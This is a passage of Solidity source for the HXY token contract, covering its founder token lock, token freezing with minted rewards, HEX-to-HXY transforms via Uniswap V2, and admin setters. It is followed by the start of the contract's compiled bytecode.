{Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Destroys `amount` tokens from `account`.`amount` is then deducted * from the caller's allowance. * * See {_burn} and {_approve}. */ function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, msg.sender, _allowances[account][msg.sender].sub(amount, "ERC20: burn amount exceeds allowance")); } /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value);//from address(0) for minting /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); //mint HXY lock (only ever called in constructor) function mintInitialTokens(uint v2Supply) internal synchronized { require(v2Supply <= _maxSupply, "cannot mint"); uint256 _founderLockedTokens = _maxSupply.div(10); _mint(_p1, v2Supply.sub(_founderLockedTokens));//mint HXY to airdrop on launch _mint(address(this), _founderLockedTokens);//mint HXY to be frozen for 10 years, 10% unfrozen every year founderLock(_founderLockedTokens); } function founderLock(uint tokens) internal { founderLockStartTimestamp = now; founderLockedTokens = tokens; allFounderLocked = tokens; emit FounderLock(tokens, founderLockStartTimestamp); } //unlock founder tokens function unlock() public onlyAdmins synchronized { uint sixMonths = founderLockDayLength/10; require(unlockLvl < 10, "token unlock complete"); require(founderLockStartTimestamp.add(sixMonths.mul(daySeconds)) <= now, "tokens cannot be unfrozen yet");//must be at least over 6 months uint value = allFounderLocked/10; if(founderLockStartTimestamp.add((sixMonths).mul(daySeconds)) <= now && unlockLvl == 0){ unlockLvl++; founderLockedTokens = founderLockedTokens.sub(value); transfer(_p1, value.mul(30).div(100)); transfer(_p2, value.mul(30).div(100)); transfer(_p3, value.mul(20).div(100)); transfer(_p4, value.mul(15).div(100)); transfer(_p5, value.mul(5).div(100)); } else if(founderLockStartTimestamp.add((sixMonths * 2).mul(daySeconds)) <= now && unlockLvl == 1){ unlockLvl++; founderLockedTokens = founderLockedTokens.sub(value); transfer(_p1, value.mul(30).div(100)); transfer(_p2, value.mul(30).div(100)); transfer(_p3, value.mul(20).div(100)); transfer(_p4, value.mul(15).div(100)); transfer(_p5, value.mul(5).div(100)); } else if(founderLockStartTimestamp.add((sixMonths * 3).mul(daySeconds)) <= now && unlockLvl == 2){ unlockLvl++; founderLockedTokens = founderLockedTokens.sub(value); transfer(_p1, value.mul(30).div(100)); transfer(_p2, value.mul(30).div(100)); transfer(_p3, value.mul(20).div(100)); transfer(_p4, value.mul(15).div(100)); transfer(_p5, value.mul(5).div(100)); } else if(founderLockStartTimestamp.add((sixMonths * 4).mul(daySeconds)) <= now && unlockLvl == 3){ unlockLvl++; founderLockedTokens = founderLockedTokens.sub(value); transfer(_p1, value.mul(30).div(100)); transfer(_p2, value.mul(30).div(100)); transfer(_p3, value.mul(20).div(100)); transfer(_p4, value.mul(15).div(100)); transfer(_p5, value.mul(5).div(100)); } else if(founderLockStartTimestamp.add((sixMonths * 5).mul(daySeconds)) <= now && unlockLvl == 4){ unlockLvl++; founderLockedTokens = founderLockedTokens.sub(value); transfer(_p1, value.mul(30).div(100)); transfer(_p2, value.mul(30).div(100)); transfer(_p3, value.mul(20).div(100)); transfer(_p4, value.mul(15).div(100)); transfer(_p5, value.mul(5).div(100)); } else if(founderLockStartTimestamp.add((sixMonths * 6).mul(daySeconds)) <= now && unlockLvl == 5){ unlockLvl++; founderLockedTokens = founderLockedTokens.sub(value); transfer(_p1, value.mul(30).div(100)); transfer(_p2, value.mul(30).div(100)); transfer(_p3, value.mul(20).div(100)); transfer(_p4, value.mul(15).div(100)); transfer(_p5, value.mul(5).div(100)); } else if(founderLockStartTimestamp.add((sixMonths * 7).mul(daySeconds)) <= now && unlockLvl == 6){ unlockLvl++; founderLockedTokens = founderLockedTokens.sub(value); transfer(_p1, value.mul(30).div(100)); transfer(_p2, value.mul(30).div(100)); transfer(_p3, value.mul(20).div(100)); transfer(_p4, value.mul(15).div(100)); transfer(_p5, value.mul(5).div(100)); } else if(founderLockStartTimestamp.add((sixMonths * 8).mul(daySeconds)) <= now && unlockLvl == 7) { unlockLvl++; founderLockedTokens = founderLockedTokens.sub(value); transfer(_p1, value.mul(30).div(100)); transfer(_p2, value.mul(30).div(100)); transfer(_p3, value.mul(20).div(100)); transfer(_p4, value.mul(15).div(100)); transfer(_p5, value.mul(5).div(100)); } else if(founderLockStartTimestamp.add((sixMonths * 9).mul(daySeconds)) <= now && unlockLvl == 8){ unlockLvl++; founderLockedTokens = founderLockedTokens.sub(value); transfer(_p1, value.mul(30).div(100)); transfer(_p2, value.mul(30).div(100)); transfer(_p3, value.mul(20).div(100)); transfer(_p4, value.mul(15).div(100)); transfer(_p5, value.mul(5).div(100)); } else if(founderLockStartTimestamp.add((sixMonths * 10).mul(daySeconds)) <= now && unlockLvl == 9){ unlockLvl++; if(founderLockedTokens >= value){ founderLockedTokens = founderLockedTokens.sub(value); } else{ value = founderLockedTokens; founderLockedTokens = 0; } transfer(_p1, value.mul(30).div(100)); transfer(_p2, value.mul(30).div(100)); transfer(_p3, value.mul(20).div(100)); transfer(_p4, value.mul(15).div(100)); transfer(_p5, value.mul(5).div(100)); } else{ revert(); } emit FounderUnlock(value, now); } //////////////////////////////////////////////////////// /////////////////PUBLIC FACING - HXY CONTROL////////// ////////////////////////////////////////////////////// //freeze HXY tokens to contract function FreezeTokens(uint amt) public { require(amt > 0, "zero input"); require(tokenBalance() >= amt, "Error: insufficient balance");//ensure user has enough funds if(isFreezeFinished(msg.sender)){ UnfreezeTokens();//unfreezes all currently frozen tokens + profit } //update balances tokenFrozenBalances[msg.sender] = tokenFrozenBalances[msg.sender].add(amt); totalFrozen = totalFrozen.add(amt); frozen[msg.sender].freezeStartTimestamp = now; _transfer(msg.sender, address(this), amt);//make transfer emit TokenFreeze(msg.sender, amt); } //unfreeze HXY tokens from contract function UnfreezeTokens() public synchronized { require(tokenFrozenBalances[msg.sender] > 0,"Error: unsufficient frozen balance");//ensure user has enough frozen funds require(isFreezeFinished(msg.sender), "tokens cannot be unfrozen yet. min 7 day freeze"); uint amt = tokenFrozenBalances[msg.sender]; uint256 interest = calcFreezingRewards(msg.sender); _mint(msg.sender, interest);//mint HXY - total unfrozen / 1000 * (minFreezeDayLength + days past) @ 36.5% per year frozen[msg.sender].totalEarnedInterest += interest; tokenFrozenBalances[msg.sender] = 0; frozen[msg.sender].freezeStartTimestamp = 0; totalFrozen = totalFrozen.sub(amt); _transfer(address(this), msg.sender, amt);//make transfer emit TokenUnfreeze(msg.sender, amt); } //returns freezing reward in HXY function calcFreezingRewards(address _user) public view returns(uint) { return (tokenFrozenBalances[_user].div(1000) * (minFreezeDayLength + daysPastMinFreezeTime(_user))); } //returns amount of days frozen past min freeze time of 7 days function daysPastMinFreezeTime(address _user) public view returns(uint) { if(frozen[_user].freezeStartTimestamp == 0){ return 0; } uint daysPast = now.sub(frozen[_user].freezeStartTimestamp).div(daySeconds); if(daysPast >= minFreezeDayLength){ return daysPast - minFreezeDayLength;// returns 0 if under 1 day passed } else{ return 0; } } //freeze HXY tokens to contract for duration (till maxSupply reached) function FreezeFreeMint(uint amt, address user, uint dapp) public onlyMinters synchronized { require(amt > 0, "zero input"); if(!mintBlock){ //mint tokens uint t = totalSupply(); freeMintHXY(amt,address(this));//mint HXY to contract and freeze //adjust for max supply breach if(totalSupply().sub(t) < amt){ amt = totalSupply().sub(t); } //update balances freeMintFrozenBalances[user] = freeMintFrozenBalances[user].add(amt); totalFrozen = totalFrozen.add(amt); totalFreeMintFrozen = totalFreeMintFrozen.add(amt); freeMintFrozen[user].totalHxyMinted += amt; emit FreeMintFreeze(user, amt, dapp); } } //freeze HXY tokens to contract from ref bonus (till maxSupply reached) function FreezeRefFreeMint(uint amt, address ref) internal { require(amt > 0, "zero input"); if(!mintBlock){ //mint tokens uint t = totalSupply(); freeMintHXY(amt,address(this));//mint HXY to contract and freeze //adjust for max supply breach if(totalSupply().sub(t) < amt){ amt = totalSupply().sub(t); } //update balances freeMintFrozenBalances[ref] = freeMintFrozenBalances[ref].add(amt); totalFrozen = totalFrozen.add(amt); totalFreeMintFrozen = totalFreeMintFrozen.add(amt); freeMintFrozen[ref].totalHxyMinted += amt; emit FreeMintFreeze(ref, amt, 0); } } //unfreeze HXY tokens from contract function UnfreezeFreeMint() public synchronized { require(freeMintFrozenBalances[msg.sender] > 0,"Error: unsufficient frozen balance");//ensure user has enough frozen funds require(mintBlock, "tokens cannot be unfrozen yet. max supply not yet reached"); //update values uint amt = freeMintFrozenBalances[msg.sender]; freeMintFrozenBalances[msg.sender] = 0; totalFrozen = totalFrozen.sub(amt); totalFreeMintFrozen = totalFreeMintFrozen.sub(amt); //make transfer _transfer(address(this), msg.sender, amt); emit FreeMintUnfreeze(msg.sender, amt); } //mint HXY to address function freeMintHXY(uint value, address minter) internal { uint amt = value; _mint(minter, amt);//mint HXY } //transforms HEX to HXY function transformHEX(uint hearts, address ref)//Approval needed public synchronized { require(roomActive, "transforms not yet active"); require(hearts >= 100, "value too low"); require(hexInterface.transferFrom(msg.sender, address(this), hearts), "Transfer failed");//send hex from user to contract //allocate funds hexDivs += hearts.div(2);//50% hexLiquidity += hearts.div(2);//50% //get HXY price (uint reserve0, uint reserve1,) = uniPairInterface.getReserves(); uint hxy = uniV2Router.quote(hearts, reserve0, reserve1); if(ref != address(0))//ref { totalHxyTransformed += hxy.add(hxy.div(10)); totalHeartsTransformed += hearts; FreezeRefFreeMint(hxy.div(10), ref); } else{//no ref totalHxyTransformed += hxy; totalHeartsTransformed += hearts; } require(totalHxyTransformed <= 3000000000000000, "transform threshold breached");//remaining for interest and free mint _mint(msg.sender, hxy); emit Transform(hearts, hxy, msg.sender); } function pushLiquidity() public synchronized { require(hexLiquidity > 1000, "nothing to add"); //get price (uint reserve0, uint reserve1,) = uniPairInterface.getReserves(); uint hxy = uniV2Router.quote(hexLiquidity, reserve0, reserve1); _mint(address(this), hxy); //approve this.safeApprove(routerAddress, hxy); require(hexInterface.approve(routerAddress, hexLiquidity), "could not approve"); //add liquidity (uint amountA, uint amountB, uint liquidity) = uniV2Router.addLiquidity(hexAddress, address(this), hexLiquidity, hxy, 0, 0, _p1, now.add(800)); totalLiquidityAdded += hexLiquidity; //reset hexLiquidity = 0; emit LiquidityPush(amountA, amountB, liquidity); } function pushDivs() public synchronized { require(hexDivs > 0, "nothing to distribute"); //send divs totalDividends += hexDivs; hexInterface.transfer(airdropContract, hexDivs); //send any unallocated HEX in contract to dividend contract uint overflow = 0; if(hexInterface.balanceOf(address(this)).sub(hexLiquidity) > 0){ overflow = hexInterface.balanceOf(address(this)).sub(hexLiquidity); hexInterface.transfer(airdropContract, overflow); } emit DividendPush(hexDivs.add(overflow)); //reset hexDivs = 0; } /////////////////////////////// ////////ADMIN/MULTISIG ONLY////////////// /////////////////////////////// function setMultiSig(address _multisig) public onlyAdmins onlyOnceMultisig { multisig = _multisig; } //set airdropcontract for can only be set once function setAirdropContract(address payable _airdropContract) public onlyMultisig { airdropContract = _airdropContract; } //allows addition of contract addresses that can call this contracts mint function. function addMinter(address minter) public onlyMultisig returns (bool) { minters[minter] = true; minterAddresses.push(minter); return true; } //transform room initiation function transformActivate() public onlyMultisig onlyOnceTransform { roomActive = true; } function setExchange(address exchange) public onlyMultisig { uniHEXHXY = exchange; uniPairInterface = IUniswapV2Pair(uniHEXHXY); } function setV2Router(address router) public onlyMultisig { routerAddress = router; uniV2Router = IUniswapV2Router02(routerAddress); } /////////////////////////////// ////////VIEW ONLY////////////// /////////////////////////////// //total HXY frozen in contract function totalFrozenTokenBalance() public view returns (uint256) { return totalFrozen; } //HXY balance of caller function tokenBalance() public view returns (uint256) { return balanceOf(msg.sender); } // function isFreezeFinished(address _user) public view returns(bool) { if(frozen[_user].freezeStartTimestamp == 0){ return false; } else{ return frozen[_user].freezeStartTimestamp.add((minFreezeDayLength).mul(daySeconds)) <= now; } } function donate() public payable { require(msg.value > 0); bool success = false; uint256 balance = msg.value; //distribute (success, ) = _p1.call{value:balance.mul(30).div(100)}{gas:21000}(''); require(success, "Transfer failed"); (success, ) = _p2.call{value:balance.mul(30).div(100)}{gas:21000}(''); require(success, "Transfer failed"); (success, ) = _p3.call{value:balance.mul(20).div(100)}{gas:21000}(''); require(success, "Transfer failed"); (success, ) = _p4.call{value:balance.mul(15).div(100)}{gas:21000}(''); require(success, "Transfer failed"); (success, ) = _p5.call{value:balance.mul(5).div(100)}{gas:21000}(''); require(success, "Transfer failed"); } }
0x6080604052600436106103905760003560e01c8063714a35fb116101dc578063a457c2d711610102578063d0516650116100a0578063e1175b3f1161006f578063e1175b3f14610bbb578063e4ba2e8e14610bd0578063e9f268b114610c03578063ed88c68e14610c185761039f565b8063d051665014610ae0578063d3bcca7514610b2c578063d4d5763c14610b41578063dd62ed3e14610b805761039f565b8063ab2be726116100dc578063ab2be72614610a77578063ad1c977114610a8c578063b0efb8a314610aa1578063c7d0b70e14610ab65761039f565b8063a457c2d7146109f0578063a69df4b514610a29578063a9059cbb14610a3e5761039f565b8063924013171161017a578063983b2d5611610149578063983b2d561461097e578063997664d7146109b15780639e1a4d19146109c6578063a44dc8f5146109db5761039f565b8063924013171461092a57806395d89b411461093f57806395f4474514610954578063966dae0e146109695761039f565b8063791c3504116101b6578063791c35041461089457806388bb5beb146108a95780638d010f43146108e2578063922e92a3146108f75761039f565b8063714a35fb14610837578063722799661461084c578063743e03d9146108615761039f565b80633268cc56116102c15780634de5ba6a1161025f578063634091971161022e578063634091971461078957806367b1f5df1461079e5780636f011538146107d157806370a08231146108045761039f565b80634de5ba6a146106f957806350bf28b61461072c578063529f4e88146107415780635a15adae146107565761039f565b806343b63b9d1161029b57806343b63b9d146106a557806343e97339146106ba5780634496223b146106cf5780634783c35b146106e45761039f565b80633268cc561461064257806339509351146106575780633b67b067146106905761039f565b806322f4596f1161032e578063284d30ef11610308578063284d30ef146105b257806329c95ac0146105e55780632c5535c2146105fa578063313ce5671461062d5761039f565b806322f4596f1461052757806323b872dd1461053c57806325fb63531461057f5761039f565b806306fdde031161036a57806306fdde0314610426578063095ea7b3146104b057806318160ddd146104fd5780631e7f87bc146105125761039f565b806302885097146103a4578063038a7a08146103ea5780630410808e146104115761039f565b3661039f5761039d610c1c565b005b600080fd5b3480156103b057600080fd5b506103ce600480360360208110156103c757600080fd5b5035610fbd565b604080516001600160a01b039092168252519081900360200190f35b3480156103f657600080fd5b506103ff610fe4565b60408051918252519081900360200190f35b34801561041d57600080fd5b506103ff610fea565b34801561043257600080fd5b5061043b610ff0565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561047557818101518382015260200161045d565b50505050905090810190601f1680156104a25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156104bc57600080fd5b506104e9600480360360408110156104d357600080fd5b506001600160a01b038135169060200135611015565b604080519115158252519081900360200190f35b34801561050957600080fd5b506103ff61102c565b34801561051e57600080fd5b506103ff611032565b34801561053357600080fd5b506103ff611038565b34801561054857600080fd5b506104e96004803603606081101561055f57600080fd5b506001600160a01b0381358116916020810135909116906040013561103e565b34801561058b57600080fd5b5061039d600480360360208110156105a257600080fd5b50356001600160a01b03166110ad565b3480156105be57600080fd5b5061039d600480360360208110156105d557600080fd5b50356001600160a01b031661112c565b3480156105f157600080fd5b506104e9611208565b34801561060657600080fd5b506103ff6004803603602081101561061d57600080fd5b50356001600160a01b0316611218565b34801561063957600080fd5b506103ff61122a565b34801561064e57600080fd5b506103ce61122f565b34801561066357600080fd5b506104e96004803603604081101561067a57600080fd5b506001600160a01b03813516906020013561123e565b34801561069c57600080fd5b5061039d61127a565b3480156106b157600080fd5b506103ff6113f5565b3480156106c657600080fd5b506103ff6113fb565b3480156106db57600080fd5b506103ff611401565b3480156106f057600080fd5b506103ce611407565b34801561070557600080fd5b506103ff6004803603602081101561071c57600080fd5b50356001600160a01b0316611416565b34801561073857600080fd5b506103ff611490565b34801561074d57600080fd5b506104e9611496565b34801561076257600080fd5b506103ff6004803603602081101561077957600080fd5b50356001600160a01b03166114a6565b34801561079557600080fd5b506104e96114b8565b3480156107aa57600080fd5b5061039d600480360360208110156107c157600080fd5b50356001600160a01b03166114c8565b3480156107dd57600080fd5b5061039d600480360360208110156107f457600080fd5b50356001600160a01b0316611547565b34801561081057600080fd5b506103ff6004803603602081101561082757600080fd5b50356001600160a01b03166115b9565b34801561084357600080fd5b506104e96115d4565b34801561085857600080fd5b5061039d6115dd565b34801561086d57600080fd5b506104e96004803603602081101561088457600080fd5b50356001600160a01b03166118de565b3480156108a057600080fd5b5061039d61194c565b3480156108b557600080fd5b5061039d600480360360408110156108cc57600080fd5b50803590602001356001600160a01b0316611d92565b3480156108ee57600080fd5b506103ff6121ce565b34801561090357600080fd5b506103ff6004803603602081101561091a57600080fd5b50356001600160a01b03166121d4565b34801561093657600080fd5b506103ce6121e6565b34801561094b57600080fd5b5061043b6121f5565b34801561096057600080fd5b506103ff612214565b34801561097557600080fd5b506103ce61221a565b34801561098a57600080fd5b506104e9600480360360208110156109a157600080fd5b50356001600160a01b0316612229565b3480156109bd57600080fd5b506103ff6122e6565b3480156109d257600080fd5b506103ff6122ec565b3480156109e757600080fd5b506103ff6122fc565b3480156109fc57600080fd5b506104e960048036036040811015610a1357600080fd5b506001600160a01b038135169060200135612302565b348015610a3557600080fd5b5061039d612357565b348015610a4a57600080fd5b506104e960048036036040811015610a6157600080fd5b506001600160a01b038135169060200135612949565b348015610a8357600080fd5b506103ce612956565b348015610a9857600080fd5b5061039d612965565b348015610aad57600080fd5b506103ff612a30565b348015610ac257600080fd5b5061039d60048036036020811015610ad957600080fd5b5035612a36565b348015610aec57600080fd5b50610b1360048036036020811015610b0357600080fd5b50356001600160a01b0316612b86565b6040805192835260208301919091528051918290030190f35b348015610b3857600080fd5b506103ff612b9f565b348015610b4d57600080fd5b5061039d60048036036060811015610b6457600080fd5b508035906001600160a01b036020820135169060400135612ba5565b348015610b8c57600080fd5b506103ff60048036036040811015610ba357600080fd5b506001600160a01b0381358116916020013516612dba565b348015610bc757600080fd5b5061039d612de5565b348015610bdc57600080fd5b506103ff60048036036020811015610bf357600080fd5b50356001600160a01b0316612f8a565b348015610c0f57600080fd5b506103ff612fcd565b61039d5b60003411610c2957600080fd5b601f5460009034906001600160a01b0316610c5c6064610c5084601e63ffffffff612fd316565b9063ffffffff61303316565b60405161520891906000818181858888f193505050503d8060008114610c9e576040519150601f19603f3d011682016040523d82523d6000602084013e610ca3565b606091505b50508092505081610ced576040805162461bcd60e51b815260206004820152600f60248201526e151c985b9cd9995c8819985a5b1959608a1b604482015290519081900360640190fd5b6020546001600160a01b0316610d0f6064610c5084601e63ffffffff612fd316565b60405161520891906000818181858888f193505050503d8060008114610d51576040519150601f19603f3d011682016040523d82523d6000602084013e610d56565b606091505b50508092505081610da0576040805162461bcd60e51b815260206004820152600f60248201526e151c985b9cd9995c8819985a5b1959608a1b604482015290519081900360640190fd5b6021546001600160a01b0316610dc26064610c5084601463ffffffff612fd316565b60405161520891906000818181858888f193505050503d8060008114610e04576040519150601f19603f3d011682016040523d82523d6000602084013e610e09565b606091505b50508092505081610e53576040805162461bcd60e51b815260206004820152600f60248201526e151c985b9cd9995c8819985a5b1959608a1b604482015290519081900360640190fd5b6022546001600160a01b0316610e756064610c5084600f63ffffffff612fd316565b60405161520891906000818181858888f193505050503d8060008114610eb7576040519150601f19603f3d011682016040523d82523d6000602084013e610ebc565b606091505b50508092505081610f06576040805162461bcd60e51b815260206004820152600f60248201526e151c985b9cd9995c8819985a5b1959608a1b604482015290519081900360640190fd5b6023546001600160a01b0316610f286064610c5084600563ffffffff612fd316565b60405161520891906000818181858888f193505050503d8060008114610f6a576040519150601f19603f3d011682016040523d82523d6000602084013e610f6f565b606091505b50508092505081610fb9576040805162461bcd60e51b815260206004820152600f60248201526e151c985b9cd9995c8819985a5b1959608a1b604482015290519081900360640190fd5b5050565b60248181548110610fca57fe5b6000918252602090912001546001600160a01b0316905081565b600a5481565b60175490565b60405180604001604052806009815260200168484558204d6f6e657960b81b81525081565b6000611022338484613075565b5060015b92915050565b601c5490565b60175481565b601b5481565b600061104b848484613161565b6110a3843361109e85604051806060016040528060288152602001613b26602891396001600160a01b038a166000908152600160209081526040808320338452909152902054919063ffffffff6132bd16565b613075565b5060019392505050565b601e546001600160a01b031633146110fd576040805162461bcd60e51b815260206004820152600e60248201526d1b9bdd08185d5d1a1bdc9a5e995960921b604482015290519081900360640190fd5b600380546001600160a01b03199081166001600160a01b03938416179182905560068054929093169116179055565b3360009081526025602052604090205460ff1661117f576040805162461bcd60e51b815260206004820152600c60248201526b3737ba1030b71030b236b4b760a11b604482015290519081900360640190fd5b602354600160a81b900460ff16156111d2576040805162461bcd60e51b815260206004820152601160248201527063616e6e6f742063616c6c20747769636560781b604482015290519081900360640190fd5b6023805460ff60a81b1916600160a81b179055601e80546001600160a01b039092166001600160a01b0319909216919091179055565b602354600160b01b900460ff1681565b60286020526000908152604090205481565b600881565b6003546001600160a01b031681565b3360008181526001602090815260408083206001600160a01b0387168452909152812054909161102291859061109e908663ffffffff61335416565b602354600160a01b900460ff16156112c5576040805162461bcd60e51b815260206004820152600960248201526853796e63206c6f636b60b81b604482015290519081900360640190fd5b6023805460ff60a01b1916600160a01b179055336000908152601a60205260409020546113235760405162461bcd60e51b8152600401808060200182810382526022815260200180613a7b6022913960400191505060405180910390fd5b60145460ff166113645760405162461bcd60e51b8152600401808060200182810382526039815260200180613acc6039913960400191505060405180910390fd5b336000908152601a60205260408120805491905560175461138b908263ffffffff6133ae16565b6017556019546113a1908263ffffffff6133ae16565b6019556113af303383613161565b60408051828152905133917fe077eb71e671866ccb21027ce96d50f8cc0f5cc09336f433e506d017390a5e35919081900360200190a2506023805460ff60a01b19169055565b600c5481565b60095481565b60155481565b601e546001600160a01b031681565b6001600160a01b03811660009081526027602052604081205461143b5750600061148b565b6016546001600160a01b038316600090815260276020526040812054909161146e91610c5090429063ffffffff6133ae16565b90506015548110611485576015549003905061148b565b60009150505b919050565b600e5481565b600854600160a01b900460ff1681565b601a6020526000908152604090205481565b602354600160a81b900460ff1681565b601e546001600160a01b03163314611518576040805162461bcd60e51b815260206004820152600e60248201526d1b9bdd08185d5d1a1bdc9a5e995960921b604482015290519081900360640190fd5b600480546001600160a01b03199081166001600160a01b03938416179182905560058054929093169116179055565b601e546001600160a01b03163314611597576040805162461bcd60e51b815260206004820152600e60248201526d1b9bdd08185d5d1a1bdc9a5e995960921b604482015290519081900360640190fd5b601d80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b031660009081526020819052604090205490565b60145460ff1681565b602354600160a01b900460ff1615611628576040805162461bcd60e51b815260206004820152600960248201526853796e63206c6f636b60b81b604482015290519081900360640190fd5b6023805460ff60a01b1916600160a01b179055600e54611687576040805162461bcd60e51b81526020600482015260156024820152746e6f7468696e6720746f206469737472696275746560581b604482015290519081900360640190fd5b600e54600b805482019055600854601d546040805163a9059cbb60e01b81526001600160a01b03928316600482015260248101949094525191169163a9059cbb9160448083019260209291908290030181600087803b1580156116e957600080fd5b505af11580156116fd573d6000803e3d6000fd5b505050506040513d602081101561171357600080fd5b5050600d54600854604080516370a0823160e01b8152306004820152905160009384936117a59391926001600160a01b03909116916370a08231916024808301926020929190829003018186803b15801561176d57600080fd5b505afa158015611781573d6000803e3d6000fd5b505050506040513d602081101561179757600080fd5b50519063ffffffff6133ae16565b111561188357600d54600854604080516370a0823160e01b815230600482015290516117fb93926001600160a01b0316916370a08231916024808301926020929190829003018186803b15801561176d57600080fd5b600854601d546040805163a9059cbb60e01b81526001600160a01b03928316600482015260248101859052905193945091169163a9059cbb916044808201926020929091908290030181600087803b15801561185657600080fd5b505af115801561186a573d6000803e3d6000fd5b505050506040513d602081101561188057600080fd5b50505b600e547f5616606963f34708c0ca9fe847c0558c76203b4cf30738ab99f485ddf4be9896906118b8908363ffffffff61335416565b60408051918252519081900360200190a1506000600e556023805460ff60a01b19169055565b6001600160a01b0381166000908152602760205260408120546119035750600061148b565b4261194361191e601654601554612fd390919063ffffffff16565b6001600160a01b0385166000908152602760205260409020549063ffffffff61335416565b1115905061148b565b602354600160a01b900460ff1615611997576040805162461bcd60e51b815260206004820152600960248201526853796e63206c6f636b60b81b604482015290519081900360640190fd5b6023805460ff60a01b1916600160a01b179055600d546103e8106119f3576040805162461bcd60e51b815260206004820152600e60248201526d1b9bdd1a1a5b99c81d1bc818591960921b604482015290519081900360640190fd5b600080600560009054906101000a90046001600160a01b03166001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b158015611a4457600080fd5b505afa158015611a58573d6000803e3d6000fd5b505050506040513d6060811015611a6e57600080fd5b508051602091820151600654600d5460408051632b58577b60e21b815260048101929092526001600160701b0394851660248301819052949093166044820181905292519396509194506000936001600160a01b039091169263ad615dec926064808201939291829003018186803b158015611ae957600080fd5b505afa158015611afd573d6000803e3d6000fd5b505050506040513d6020811015611b1357600080fd5b50519050611b2130826133f0565b600354611b3f9030906001600160a01b03168363ffffffff61354516565b600854600354600d546040805163095ea7b360e01b81526001600160a01b039384166004820152602481019290925251919092169163095ea7b39160448083019260209291908290030181600087803b158015611b9b57600080fd5b505af1158015611baf573d6000803e3d6000fd5b505050506040513d6020811015611bc557600080fd5b5051611c0c576040805162461bcd60e51b8152602060048201526011602482015270636f756c64206e6f7420617070726f766560781b604482015290519081900360640190fd5b600654600754600d54601f54600093849384936001600160a01b039283169363e8e3370093928316923092918a918891829116611c514261032063ffffffff61335416565b6040518963ffffffff1660e01b815260040180896001600160a01b03166001600160a01b03168152602001886001600160a01b03166001600160a01b03168152602001878152602001868152602001858152602001848152602001836001600160a01b03166001600160a01b0316815260200182815260200198505050505050505050606060405180830381600087803b158015611cee57600080fd5b505af1158015611d02573d6000803e3d6000fd5b505050506040513d6060811015611d1857600080fd5b508051602080830151604093840151600d8054600c80549091019055600090558451848152928301829052828501819052935192965094509192507fbce88b8a70f9ef437d42f87980bf44fd12f5e9fc861c3f0f29fda526e931c6049181900360600190a150506023805460ff60a01b1916905550505050565b602354600160a01b900460ff1615611ddd576040805162461bcd60e51b815260206004820152600960248201526853796e63206c6f636b60b81b604482015290519081900360640190fd5b6023805460ff60a01b1916600160a01b9081179091556008540460ff16611e4b576040805162461bcd60e51b815260206004820152601960248201527f7472616e73666f726d73206e6f74207965742061637469766500000000000000604482015290519081900360640190fd5b6064821015611e91576040805162461bcd60e51b815260206004820152600d60248201526c76616c756520746f6f206c6f7760981b604482015290519081900360640190fd5b600854604080516323b872dd60e01b81523360048201523060248201526044810185905290516001600160a01b03909216916323b872dd916064808201926020929091908290030181600087803b158015611eeb57600080fd5b505af1158015611eff573d6000803e3d6000fd5b505050506040513d6020811015611f1557600080fd5b5051611f5a576040805162461bcd60e51b815260206004820152600f60248201526e151c985b9cd9995c8819985a5b1959608a1b604482015290519081900360640190fd5b611f6b82600263ffffffff61303316565b600e80549091019055611f8582600263ffffffff61303316565b600d8054909101905560055460408051630240bc6b60e21b8152905160009283926001600160a01b0390911691630902f1ac91600480820192606092909190829003018186803b158015611fd857600080fd5b505afa158015611fec573d6000803e3d6000fd5b505050506040513d606081101561200257600080fd5b50805160209182015160065460408051632b58577b60e21b8152600481018a90526001600160701b03948516602482018190529490931660448401819052905193965094506000936001600160a01b039091169263ad615dec926064808201939291829003018186803b15801561207857600080fd5b505afa15801561208c573d6000803e3d6000fd5b505050506040513d60208110156120a257600080fd5b505190506001600160a01b03841615612107576120d66120c982600a63ffffffff61303316565b829063ffffffff61335416565b600a805490910181556009805487019055612102906120fc90839063ffffffff61303316565b85613658565b612118565b600a80548201905560098054860190555b660aa87bee538000600a541115612176576040805162461bcd60e51b815260206004820152601c60248201527f7472616e73666f726d207468726573686f6c6420627265616368656400000000604482015290519081900360640190fd5b61218033826133f0565b6040805186815260208101839052815133927f8593cdaa8491d9718db378eaf48de9e143905b0b70afce0df61a0afda3235625928290030190a250506023805460ff60a01b19169055505050565b600d5481565b60186020526000908152604090205481565b6004546001600160a01b031681565b6040518060400160405280600381526020016248585960e81b81525081565b60105481565b6002546001600160a01b031681565b601e546000906001600160a01b0316331461227c576040805162461bcd60e51b815260206004820152600e60248201526d1b9bdd08185d5d1a1bdc9a5e995960921b604482015290519081900360640190fd5b506001600160a01b03166000818152602660205260408120805460ff1916600190811790915560248054808301825592527f7cd332d19b93bcabe3cce7ca0c18a052f57e5fd03b4758a09f30f5ddc4b22ec490910180546001600160a01b03191690921790915590565b600b5481565b60006122f7336115b9565b905090565b60195481565b6000611022338461109e85604051806060016040528060258152602001613bf7602591393360009081526001602090815260408083206001600160a01b038d168452909152902054919063ffffffff6132bd16565b3360009081526025602052604090205460ff166123aa576040805162461bcd60e51b815260206004820152600c60248201526b3737ba1030b71030b236b4b760a11b604482015290519081900360640190fd5b602354600160a01b900460ff16156123f5576040805162461bcd60e51b815260206004820152600960248201526853796e63206c6f636b60b